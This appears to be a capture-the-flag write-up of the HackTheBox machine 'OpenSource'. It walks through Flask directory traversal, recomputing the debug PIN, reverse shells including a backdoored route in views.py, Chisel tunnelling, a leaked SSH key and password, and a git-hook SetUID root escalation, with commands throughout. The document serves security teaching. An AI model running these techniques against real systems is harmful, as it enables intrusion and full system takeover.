OpenSource starts with a web application that has a downloadable source zip. That zip has a Git repo in it, and that leaks the production code as well as account creds. The website has a directory traversal vulnerability that allows me to read and write files. I’ll show two ways to get a shell. The first is abusing the file read to get the information to calculate the Flask debug pin. The later is overwriting one of the Flask source files to get execution. From there, I’ll access a private Gitea instance and find an SSH key to get a shell on the host. The host has a cron running Git commands as root, so I’ll use git hooks to abuse this and get a shell as root.

Box Info

Name OpenSource OpenSource
Play on HackTheBox
Release Date 21 May 2022
Retire Date 8 Oct 2022
OS Linux Linux
Base Points Easy [20]
Rated Difficulty Rated difficulty for OpenSource
Radar Graph Radar chart for OpenSource
First Blood User 00:57:03jazzpizazz
First Blood Root 01:39:17jazzpizazz
Creator irogir



nmap finds two open TCP ports, SSH (22) and HTTP (80), and a filtered port (3000):

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( ) at 2022-09-29 19:10 UTC
Nmap scan report for
Host is up (0.087s latency).
Not shown: 65532 closed ports
22/tcp   open     ssh
80/tcp   open     http
3000/tcp filtered ppp

Nmap done: 1 IP address (1 host up) scanned in 7.17 seconds
oxdf@hacky$ nmap -p 22,80 -sCV
Starting Nmap 7.80 ( ) at 2022-09-29 19:12 UTC
Nmap scan report for
Host is up (0.088s latency).

22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
|   256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_  256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp   open     http    Werkzeug/2.1.2 Python/3.10.3
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|     Date: Thu, 29 Sep 2022 19:12:29 GMT
|_    </html>
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 95.66 seconds

Based on the OpenSSH version, the host is likely running Ubuntu Bionic 18.04. The webserver is showing Werkzeug, a Python framework.

I’ll make note that I want to check out port 3000 from the host or some other perspective besides directly from my box.

Website - TCP 80


The site is for an opensource file sharing software:


The top of the page is just marketing, and the buttons don’t lead anywhere. The bottom section has two working links. The first, “Download”, points at /download, and returns

The second, “Take me there!”, goes to /upcloud, where it says there’s a test instance. Loading that page shows an upload form:


If I give it a file (like a benign PNG), it reports back that it uploaded, and gives a path to the file, preserving the same file name I uploaded. If I upload the same filename again, it returns the same way (presumably overwriting the previous).

I’ll do a quick check to see if I can traverse up directories by sending the POST request to Burp Repeater and adding ../../../../../../../ to the start of the filename, but it seems to strip that and save it in the same place. I could spend time trying to bypass that filtering, but as I have the source, I’ll turn there.

Tech Stack

nmap identified that this was a Werkzeug Python server, so it’s likely running Flask. This is from the HTTP response headers:

HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.10.3
Date: Thu, 29 Sep 2022 19:21:59 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 5316
Connection: close

Not much else I can tell here.

I’ll skip the directory brute force because I have the source.

Source Analysis

File Overview

The decompresses to two directories, two files, and a .git folder which shows it’s developed under Git version control:

oxdf@hacky$ ls -a
.  ..  app  config  Dockerfile  .git

The two files, and Dockerfile indicate that the application is made to be run in a container under Docker. The Dockerfile shows that the image is built on python:3-alpine, which means I can expect very limited tools inside the container, other than Python. It installs pip, then Flask. It copies supervisoerd.conf from the config directory (the only file in that directory) into /etc in the container, and eventually runs supervisord, passing it that config. It also sets two environment variables, PYTHONDONTWRITEBYTECODE=1 and MODE="PRODUCTION". just removes the old image, creates a new one, and runs it:

docker rm -f upcloud
docker build --tag=upcloud .
docker run -p 80:80 --rm --name=upcloud upcloud


The app directory has two directories and two files. is empty. starts the Flask application by importing it from the app folder (I’ll expect to see an app object created in a file in the app folder, and it is):

import os

from app import app

if __name__ == "__main__":
    port = int(os.environ.get("PORT", 80))'', port=port)

The main work of the application is done from (shown in its entirety):

import os

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app

@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')

def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))

There are only two routes. This doesn’t match what I see on the site, but that makes sense, as this is the application I’m mean to run on my own infrastructure, not the site itself with the test instance.

The upload_file function handles both the upload form for a GET and saving the file for a POST. The send_report handles returning the uploaded file by getting it from ./public/uploads/.

Both functions use the get_file_name function, which is imported from app.utils:

def get_file_name(unsafe_filename):
    return recursive_replace(unsafe_filename, "../", "")

recursive_replace uses recursion to remove a given string from the input. This recursive strategy is to get around a common vulnerability pattern where the site looks for and replaces ../ with an empty string, so the attacker sends in ....//. When the pattern is removed, what remains is ../.

def recursive_replace(search, replace_me, with_me):
    if replace_me not in search:
        return search
    return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)

This effectively eliminates my ability to do a directory traversal attack using ../ to step out from the current directory for either read or write. If I try to read outside of uploads, it returns an error, which shows the cleaned URL:

oxdf@hacky$ curl --path-as-is
<!doctype html>
<html lang=en>
    <title>FileNotFoundError: [Errno 2] No such file or directory: '/app/public/uploads/'


Looking at the Git history, there are only two commits:

oxdf@hacky$ git log --oneline
2c67a52 (HEAD -> public) clean up dockerfile for production use
ee9d9f1 initial

Looking at the difference between them, it seems that the only change was to remove the environment variable that sets Flask in Debug mode:


There is another branch in this repo, dev:

oxdf@hacky$ git branch -a
* public

I’ll switch to the dev branch in Git:

oxdf@hacky$ git checkout dev
Switched to branch 'dev'

This branch has four commits:

oxdf@hacky$ git log --oneline 
c41fede (HEAD -> dev) ease testing
be4da71 added gitignore
a76f8f7 updated
ee9d9f1 initial

Looking at the git diff for various commits, I’ll notice that a app/.vscode/settings.json file gets added in the second commit, and then deleted in the third:


There’s a password for dev01 in there. I’ll try it over SSH, but only key-based auth is supported.

dev Branch Application

Interestingly, in this Dockerfile, Flask debug mode is enabled:

# Set mode

The FLASK_DEBUG sets the application into debug mode, which provide a debug interface on errors, and reload the application on source changes. It also leads to an unintended way to get a shell.

This has the views that I’m seeing on OpenSource:

import os

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app

def index():
    return render_template('index.html')

def download():
    return send_file(os.path.join(os.getcwd(), "app", "static", ""))

@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')

def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))

It adds /download for the and / with index.html, and moves the upload from / to /upcloud.

Shell as root in Container

Directory Traversal

Identify Issue

I noted that I won’t be able to get ../ through the get_file_name function, but there’s another way to get out of the intended directory. In both the read and write functions, my input goes into get_file_name, and the result is passed into an os.path.join call. For example, in the upload function:

	file_name = get_file_name(f.filename)
	file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)

So if I pass in “0xdf”, it generates the expected string, as demonstrated in this Python terminal:

oxdf@hacky$ python
Python 3.8.10 (default, Jun 22 2022, 20:18:18) 
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.path.join(os.getcwd(), "public", "uploads", "0xdf")

However, if I pass in “/0xdf”, os.path.join does something interesting:

>>> os.path.join(os.getcwd(), "public", "uploads", "/0xdf")

This feels a bit unexpected, but it is the intended behavior according to the docs:

If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.

Knowing Absolute Path

The Dockerfile shows that the command run is supervisord using the config file from config:


command=python /app/

This shows that it’s running /app/, which shows the absolute path to the application in the container.

Directory Traversal

Knowing this, I might think I can do something like curl --path-as-is, but it doesn’t work:

oxdf@hacky$ curl --path-as-is
<!doctype html>
<html lang=en>
<p>You should be redirected automatically to the target URL: <a href=""></a>. If not, click the link.

Before the request gets to Flask to process, a redirect to a “normalized” URL is being sent, which breaks my exploit. This isn’t specific to the exploit attempt. For example, just reading the legit uploaded file with an extra / does that same thing:

oxdf@hacky$ curl --path-as-is
<!doctype html>
<html lang=en>
<p>You should be redirected automatically to the target URL: <a href=""></a>. If not, click the link.

I noted above that URLs with ../ did make it to Flask, where they were cleaned out. I can’t quite explain why // isn’t allowed through, but ..// is, but it is. I’ll combine these two to get a working file read anywhere on the system:

oxdf@hacky$ curl --path-as-is
NAME="Alpine Linux"
PRETTY_NAME="Alpine Linux v3.15"

Shell via Flask Debug [Unintended]

Access Debug

I noted above that in the git branch that lines up with this instance, FLASK_DEBUG was set to 1, which enables it. In fact, I saw the debug output come back when I put in an invalid path just above. It’s clearer in Firefox:


Clicking on the terminal pops a prompt for a pin to access it:


This pin prints to the screen when the debug instance of Flask is started looking something like:

$ docker run -p 7777:7777 werkzeug-debug-console:latest
 * Running on all addresses.
   WARNING: This is a development server. Do not use it in a production deployment.
 * Running on (Press CTRL+C to quit)
 * Restarting with stat
User: werkzeug-user
Module Name: Flask
App Location: /usr/local/lib/python3.9/site-packages/flask/
Mac Address: 2485377892356
Werkzeug Machine ID: b'ea1fc30b6f4a173cea015d229c6b55b69d0ff00819670374d7a02397bc236523a57e9bab0c6e6167470ac65b66075388'

 * Debugger is active!
 * Debugger PIN: 118-831-072

Collect PIN Information

There’s a handful of articles out there that talk about how to recreate the Flask debug PIN, the most common being on I found that one very frustrating as it’s 95% correct, but a couple sentences are missing that make it not work here. HackTricks has the complete writeup.

The function that generates the pin is get_pin_and_cookie_name, which the article shows being from python3.5/site-packages/werkzeug/debug/ The debug crash will help me orient on the file system:


Putting those together, I’ll read /usr/local/lib/python3.10/site-packages/werkzeug/debug/

def get_pin_and_cookie_name(                                                                                                                              
    app: "WSGIApplication",                                                                                                                               
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:                        
    """Given an application object this returns a semi-stable 9 digit pin                                                                                 
    code and a random key.  The hope is that this is stable between          
    restarts to not make debugging particularly frustrating.  If the pin     
    was forcefully disabled this returns `None`.                             
    Second item in the resulting tuple is the cookie name for remembering.   
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")                               
    rv = None                                                                
    num = None

It’s important to get the version from the target, because there are some slight differences with what’s shown on HackTricks.

I’ll grab the script from HackTricks and save it on my machine as The top has the variables I need to set:

import hashlib
from itertools import chain
probably_public_bits = [
    'web3_user',# username
    '',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/dist-packages/flask/' # getattr(mod, '__file__', None),

private_bits = [
    '279275995014060',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id

I’ve already got all I need for the probably_public_bits:

  • username is root, as shown in the supervisoerd.conf file
  • modname and the next one are just and Flask
  • The last probably_public_bits item is the path from the crash, the same one I used just above to get the location of the debug

To get the MAC address, /proc/net/arp will return it:

oxdf@hacky$ curl --path-as-is --ignore-content-length
IP address       HW type     Flags       HW address            Mask     Device       0x1         0x2         02:42:90:98:18:9e     *        eth0

I need --ignore-content-length because the content length on some of these files is off, and it can lead to missing information, as shown in this quick video:

The MAC will also be in /sys/class/net/[device id]/address. If I don’t know the device id, I can take some guesses and it comes back from eth0:

oxdf@hacky$ curl --path-as-is --ignore-content-length

I’ll convert that to a base-10 int in Python by adding 0x to the front and removing the ::

oxdf@hacky$ python -c "print(0x0242ac110008)"

Finally, I need the result of get_machine_id. The blogs describe this as:

read the value in /etc/machine-id or /proc/sys/kernel/random/boot_id and return directly if there is, sometimes it might be required to append a piece of information within /proc/self/cgroup that you find at the end of the first line (after the third slash)

I find the actual code more clear:

def get_machine_id() -> t.Optional[t.Union[str, bytes]]:                                                                                                  
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate() -> t.Optional[t.Union[str, bytes]]:
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": 
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:

            if value:
                linux += value

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:

        if linux:
            return linux

        # On OS X, use ioreg to get the computer's serial number.

It starts with an empty string, and then tried to append both the contents of /etc/machine-id and /proc/sys/kernel/random/boot_id. Then there’s a section on containers so it tries to append part of /proc/self/cgroup.

/etc/machine-id isn’t found, but the other two are:

oxdf@hacky$ curl --path-as-is --ignore-content-length 
oxdf@hacky$ curl --path-as-is --ignore-content-length 

From the second file there, I need only the first line, from the last / to the end. The script is now set up:

probably_public_bits = [
    'root',# username
    '',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/site-packages/flask/' # getattr(mod, '__file__', None),

private_bits = [
    '2485377892360',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'a97273a3-1bd3-4436-91ae-ab0973b75d730b91b5646d729be7c8657d19a6140c946b56fe35bd7cd0e10d2d18ecea9d81c8'# get_machine_id(), /etc/machine-id

Unfortunately, the resulting PIN doesn’t work.

Hash Type

The script is creating a MD5 hash object, and adding pieces from above one by one to the hash. If I look more closely at the code from OpenSource, it’s doing the same thing, but using SHA1, not using MD5:

	h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
        if isinstance(bit, str):
            bit = bit.encode("utf-8")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

The Changelog for Werkzeug version 2.0.0 lists this:

  • Use SHA-1 instead of MD5 for generating ETags and the debugger pin, and in some tests. MD5 is not available in some environments, such as FIPS 140. This may invalidate some caches since the ETag will be different. #1897

The change is made here.

I’ll update my script:

#h = hashlib.md5()
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
    if isinstance(bit, str):
        bit = bit.encode('utf-8')

cookie_name = '__wzd' + h.hexdigest()[:20]

Now it generates a PIN that works and gives a console where I can run Python commands:


Reverse Shell

With that shell, I can run OS commands with the subprocess module:


I’ll grab a Python reverse shell from, paste it into the console, and execute it (there’s no line wrap, so only the end shows):


The reverse shell connects to my listening nc:

oxdf@hacky$ nc -lnvp 443
Listening on 443
Connection received on 46930
/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Shell by Replacing

Generate Backdoored Version

Because the application is running in debug mode, it will reload any time any of the source files change. I’ll use this along with the upload ability to overwrite

I’ve got a copy of the file that runs on OpenSource. At the bottom, I’ll add another route:

def rev():
    import socket
    import os
    import pty

On visiting /0xdf, it will generate a reverse shell to me.


I’ll set Burp to intercept, and upload this file. I’ll verify the new route is there, and modify the filename to abuse the same trick I used earlier to read:

image-20220930081422279Click for full size image


I’ll listen with nc -lvnp 443 and visit A shell connects back:

oxdf@hacky$ nc -lnvp 443
Listening on 443
Connection received on 33120
/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

This shell is a bit annoying, and output from Flask gets dumped into the socket periodically as well.

I’ll upgrade the shell using Python and stty (since script isn’t in the container):

/app # python3 -c 'import pty;pty.spawn("sh")'
python3 -c 'import pty;pty.spawn("sh")'
/app # ^Z      
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
/app # 

Shell as dev01 on OpenSource


Identify OpenSource

Even before getting a shell it was very clear that this application is running from a Docker container. Now as root inside this container, and with no flags yet, I need to figure out how to pivot to the host.

The IP address of this container is (though that will different depending on my VPN IP):

/app # ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:08  
          inet addr:  Bcast:  Mask:
          RX packets:337 errors:0 dropped:0 overruns:0 frame:0
          TX packets:302 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:36134 (35.2 KiB)  TX bytes:81314 (79.4 KiB)

The default gateway for this box is, which is likely the host running the container:

/app # ip route
default via dev eth0 dev eth0 scope link  src

Identify Gitea

Remembering that there’s a service on port 3000 that I couldn’t access from my host, I’ll try to access that here. curl isn’t on the box, but wget is, and -O- will output to stdout:

/app # wget -O-
Connecting to (
writing to stdout
<!DOCTYPE html>
<html lang="en-US" class="theme-">
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title> Gitea: Git with a cup of tea</title>

It’s an instance of Gitea, an open source Git management platform.

Access Gitea


I’ll use Chisel to create a tunnel from my host through the container to access Gitea. First, I’ll download the latest linux amd64 binary from the release page, and host it on my box using a Python webserver (python3 -m http.server 8000). I’ll fetch that file to the container:

/tmp # wget
Connecting to (
saving to 'chisel_1.7.7_linux_amd64'
chisel_1.7.7_linux_a 100% |********************************| 7888k  0:00:00 ETA
'chisel_1.7.7_linux_amd64' saved

I’ll run the binary in server mode on my box:

oxdf@hacky$ ./chisel_1.7.7_linux_amd64 server -p 8000 --reverse
2022/09/30 12:47:55 server: Reverse tunnelling enabled
2022/09/30 12:47:55 server: Fingerprint umHn2gs0l5nc8jxdT2k/Ib4llURm3snZQNzX4WkaERw=
2022/09/30 12:47:55 server: Listening on

I need to give it a port to listen on (-p 8000) because the default port of 8080 is already in use by Burp. --reverse allows me to create reverse tunnels.

Now I’ll connect with chisel from the container:

/tmp # chmod +x chisel_1.7.7_linux_amd64 
/tmp # ./chisel_1.7.7_linux_amd64 client R:3000:
2022/09/30 12:52:19 client: Connecting to ws://
2022/09/30 12:52:20 client: Connected (Latency 87.429342ms)

R:3000: says to listen on my box on port 3000, and forward anything that comes to that through the container to

In Firefox, I can now access Gitea:


Log In

I’ll remember the credentials from earlier for dev01, “Soulless_Developer#2022”. I’ll try those with the Gitea login, and it works:


There’s a repo called home-backup, and it looks to be a backup of the account’s home directory:


In .ssh, there’s a RSA key-pair used. The id_rsa is the private key:

I’ll save that to a file on my host.


Making sure the permissions are 600 so that SSH will trust the key, I’ll then connect to OpenSource as dev01:

oxdf@hacky$ chmod 600 ~/keys/opensource-dev01
oxdf@hacky$ ssh -i ~/keys/opensource-dev01 dev01@
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)

Now I can read the user flag:

dev01@opensource:~$ cat user.txt

Shell as root



I’ll try to check if dev01 can run any commands as root. It requires a password:

dev01@opensource:/$ sudo -l
[sudo] password for dev01:

I’ll try the password from above, “Soulless_Developer#2022”, and it works, but dev01 can’t run anything with sudo:

dev01@opensource:/$ sudo -l
[sudo] password for dev01: 
Sorry, user dev01 may not run sudo on opensource.


There’s nothing much besides a flag in dev01’s homedir:

dev01@opensource:~$ ls -la
total 44
drwxr-xr-x 7 dev01 dev01 4096 May 16 12:51 .
drwxr-xr-x 4 root  root  4096 May 16 12:51 ..
lrwxrwxrwx 1 dev01 dev01    9 Mar 23  2022 .bash_history -> /dev/null
-rw-r--r-- 1 dev01 dev01  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 dev01 dev01 3771 Apr  4  2018 .bashrc
drwx------ 2 dev01 dev01 4096 May  4 16:35 .cache
drwxrwxr-x 8 dev01 dev01 4096 Sep 30 13:08 .git
drwx------ 3 dev01 dev01 4096 May  4 16:35 .gnupg
drwxrwxr-x 3 dev01 dev01 4096 May  4 16:35 .local
-rw-r--r-- 1 dev01 dev01  807 Apr  4  2018 .profile
drwxr-xr-x 2 dev01 dev01 4096 May  4 16:35 .ssh
-rw-r----- 1 root  dev01   33 Sep 30 10:54 user.txt

There is one other home directory, for the git user:

dev01@opensource:/home$ ls
dev01  git

In the directory, there’s only one directory (.ssh) that I can’t access, and .gitconfig:

dev01@opensource:/home/git$ la -la
total 16
drwxr-xr-x 3 git  git  4096 May  4 16:35 .
drwxr-xr-x 4 root root 4096 May 16 12:51 ..
-rw-r--r-- 1 git  git   112 Apr 27 20:32 .gitconfig
drwx------ 2 git  git  4096 May  4 16:35 .ssh
dev01@opensource:/home/git$ cat .gitconfig 
        name = Gitea
        email = gitea@fake.local
        quotePath = false
        advertisePushOptions = true


There’s not much of interest in the process list, but I’ll upload pspy to look for any processes that run periodically. I’ll download the latest release, and serve it with Python webserver. From OpenSource, I’ll fetch the file into /tmp:

dev01@opensource:/tmp$ wget
--2022-09-30 13:16:54--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                                 100%[===================================>]   2.94M  1.68MB/s    in 1.7s    

2022-09-30 13:16:56 (1.68 MB/s) - ‘pspy64’ saved [3078592/3078592]

I’ll make it executable and run it:

dev01@opensource:/tmp$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855

Every minute, there’s a cron that runs as root that starts with /usr/local/bin/git-sync:

2022/09/30 13:19:01 CMD: UID=0    PID=18961  | /bin/sh -c /usr/local/bin/git-sync
                         2022/09/30 13:19:01 CMD: UID=0    PID=18960  | /bin/sh -c /usr/local/bin/git-sync
2022/09/30 13:19:01 CMD: UID=0    PID=18959  | /usr/sbin/CRON -f
2022/09/30 13:19:01 CMD: UID=0    PID=18964  | git add .
2022/09/30 13:19:01 CMD: UID=0    PID=18965  | git commit -m Backup for 2022-09-30 
2022/09/30 13:19:01 CMD: UID=0    PID=18966  | git push origin main 
2022/09/30 13:19:01 CMD: UID=0    PID=18967  | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git 
2022/09/30 13:19:01 CMD: UID=0    PID=18968  | /sbin/modprobe -q -- net-pf-10 

On even minutes, there’s a bunch of other tasks, but they are all related to cleanup in the containers.


/usr/local/bin/git-sync is a short Bash script responsible for the backup of dev01’s home directory:


cd /home/dev01/

if ! git status --porcelain; then
    echo "No changes"
    day=$(date +'%Y-%m-%d')
    echo "Changes detected, pushing.."
    git add .
    git commit -m "Backup for ${day}"
    git push origin main

Abuse Git Hooks

Git hooks are scripts that are run on various events in a git repository. I’ve looked at Git hooks before as an unintended path on Bitlab.

Any Git repo has a .git directory that contains all the version control data. One of the folders in that directory is hooks:

dev01@opensource:~/.git$ ls
branches  COMMIT_EDITMSG  config  description  FETCH_HEAD  HEAD  hooks  index  info  logs  objects  refs

By default, it has a bunch of .sample files:

dev01@opensource:~/.git/hooks$ ls
applypatch-msg.sample  fsmonitor-watchman.sample  pre-applypatch.sample  prepare-commit-msg.sample  pre-rebase.sample   update.sample
commit-msg.sample      post-update.sample         pre-commit.sample      pre-push.sample            pre-receive.sample

Hooks will skip over any file ending in .sample. Other than that, they can be whatever kind of script I want them to be.

I’ll write a short script that copies bash into /tmp/0xdf, makes sure it’s owned by root, and then sets it to SetUID so it runs as root:

dev01@opensource:~/.git/hooks$ echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/0xdf'

cp /bin/bash /tmp/0xdf
chown root:root /tmp/0xdf
chmod 4777 /tmp/0xdf
dev01@opensource:~/.git/hooks$ echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/0xdf' > pre-commit
dev01@opensource:~/.git/hooks$ chmod +x pre-commit

I save this as pre-commit, so the next time someone tries to commit, it will run. I’ll also need to set that file as executable.

After the next minute, /tmp/0xdf is there, and a SetUID binary owned by root:

dev01@opensource:~/.git/hooks$ ls -l /tmp/0xdf 
-rwsrwxrwx 1 root root 1113504 Sep 30 13:45 /tmp/0xdf

Running with -p (to tell Bash not to drop privs) returns a root shell (effective uid is root):

dev01@opensource:~/.git/hooks$ /tmp/0xdf -p
0xdf-4.4# id
uid=1000(dev01) gid=1000(dev01) euid=0(root) groups=1000(dev01)

And I can read root.txt:

0xdf-4.4# cat /root/root.txt